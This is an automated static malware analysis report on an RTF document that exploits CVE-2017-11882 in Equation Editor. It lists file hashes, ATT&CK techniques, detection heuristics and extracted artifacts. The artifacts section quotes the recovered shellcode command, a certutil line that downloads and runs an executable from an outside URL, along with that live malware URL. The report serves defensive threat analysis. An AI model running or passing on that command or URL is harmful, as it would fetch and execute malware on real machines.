Malicious RTF — malware analysis report

Static analysis result for SHA-256 af42808f0247c9b6…

MALICIOUS

RTF

165.7 KB Created: 2020-03-06 22:32:00 First seen: 2020-07-24
MD5: 65cb82f6853bf16f925942c7e00119d6 SHA-1: 2b491d9957c6bc0ea472846c7da20773b3a74040 SHA-256: af42808f0247c9b690ff9f5f55b36c3781348f6dec23237fa19db0736480f427
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded Equation Editor object that exploits CVE-2017-11882. This exploit is known to download and execute a secondary payload, indicated by the suspicious URL and extracted file artifacts. The ClamAV detection name further confirms the exploit's nature.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ayangarts.or.kr/sports/fileData/w.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00025566.bin rtf-objdata-decoded RTF \objdata at offset 0x25566 3546 bytes
SHA-256: 848de3376598d6f20412c8d4b84d9dd8768e172318c5dd9b3fdb43523791e51b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://www.ayangarts.or.kr/sports/fileData/w.exe Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS Static shellcode analysis recovered command string(s): cmd.exe /c certutil -urlcache -split -f http://www.ayangarts.or.kr/sports/fileData/w.exe w.exe&w.exe&exit #%
objdata_01_off0002763d.bin rtf-objdata-decoded RTF \objdata at offset 0x2763D 3546 bytes
SHA-256: 3e1df2db3ab07e093aa3a1947c80b9ad872ed71d571028b2ce85e44ed20f439f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://www.ayangarts.or.kr/sports/fileData/w.exe Static shellcode analysis recovered command string(s): cmd.exe /c certutil -urlcache -split -f http://www.ayangarts.or.kr/sports/fileData/w.exe w.exe&w.exe&exit